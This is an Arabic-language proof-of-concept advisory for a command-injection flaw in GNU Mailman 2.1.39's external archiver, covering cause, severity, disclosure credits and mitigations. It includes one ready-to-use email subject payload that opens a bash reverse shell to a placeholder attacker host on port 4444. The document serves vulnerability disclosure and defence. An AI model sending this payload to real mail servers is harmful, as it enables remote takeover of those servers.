
إثبات مفهوم لاستغلال CVE-2025-43920، ثغرة حقن أوامر في GNU Mailman 2.1.39 عبر سطور موضوع البريد الإلكتروني، مما يتيح تنفيذ تعليمات برمجية عن بعد والوصول إلى شل عكسي.
اكتشف بواسطة: فيرودين داودزاده وموسازادة أيدان
تاريخ الإفصاح: أبريل 2025
CVE ID: CVE-2025-43920
الخطورة: 5.4 متوسط (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
نوع الهجوم: عن بُعد
البرنامج المتأثر: GNU Mailman 2.1.39 (مضمن مع cPanel/WHM)
GNU Mailman 2.1.39، كما هو مضمن مع cPanel و WHM، عرضة لثغرة خطيرة في حقن الأوامر تسمح للمهاجمين غير المصادق عليهم بتنفيذ أوامر عشوائية لنظام التشغيل. تحدث الثغرة عندما يتم تكوين أرشيف خارجي باستخدام PUBLIC_EXTERNAL_ARCHIVER أو PRIVATE_EXTERNAL_ARCHIVER في ملف التكوين mm_cfg.py، ويحتوي سطر موضوع البريد الإلكتروني على أحرف وصفية للصدفة (shell metacharacters) لم يتم تنظيفها بشكل صحيح. يمكن أن يؤدي ذلك إلى اختراق كامل للنظام، مما يمكّن المهاجمين من إنشاء قذائف عكسية (reverse shells)، أو تسريب البيانات، أو تنفيذ إجراءات ضارة أخرى.
PUBLIC_EXTERNAL_ARCHIVER، PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (منطق معالجة موضوع البريد الإلكتروني، قد يشمل ملفات مثل CookHeaders.py);، &، |) موجودة.لاستغلال هذه الثغرة، يمكن للمهاجم إرسال بريد إلكتروني إلى قائمة يديرها Mailman مع سطر موضوع ضار، مثل:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
المتطلبات الأساسية:
PUBLIC_EXTERNAL_ARCHIVER أو PRIVATE_EXTERNAL_ARCHIVER.netcat) على ATTACKERIP:4444 لاستقبال القشرة العكسية.النتيجة المتوقعة: إذا لم يقم أمر الأرشيف الخارجي بتنظيف سطر الموضوع، فسيتم تنفيذ الأمر الضار على الخادم، مما يؤدي إلى إنشاء قشرة عكسية لخادم المهاجم.
تعطيل الأرشفة الخارجية: قم بتعيين PUBLIC_EXTERNAL_ARCHIVER و PRIVATE_EXTERNAL_ARCHIVER إلى None في mm_cfg.py لتعطيل وظيفة الأرشفة الخارجية:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
تنظيف المدخلات: إذا كان الأرشيف الخارجي مطلوبًا، تأكد من أن الأمر ينظف سطر الموضوع لمنع حقن الأحرف الوصفية للصدفة.
تقييد الاشتراكات: حدد اشتراكات القوائم البريدية للمستخدمين الموثوقين لتقليل التعرض.
قام فيرودين داودزاده وموسازادة أيدان بالإفصاح المسؤول عن هذه الثغرة أثناء اختبار اختراق مصرح به. شكر لفريق MITRE CVE على التنسيق.
البريد الإلكتروني: [email protected]\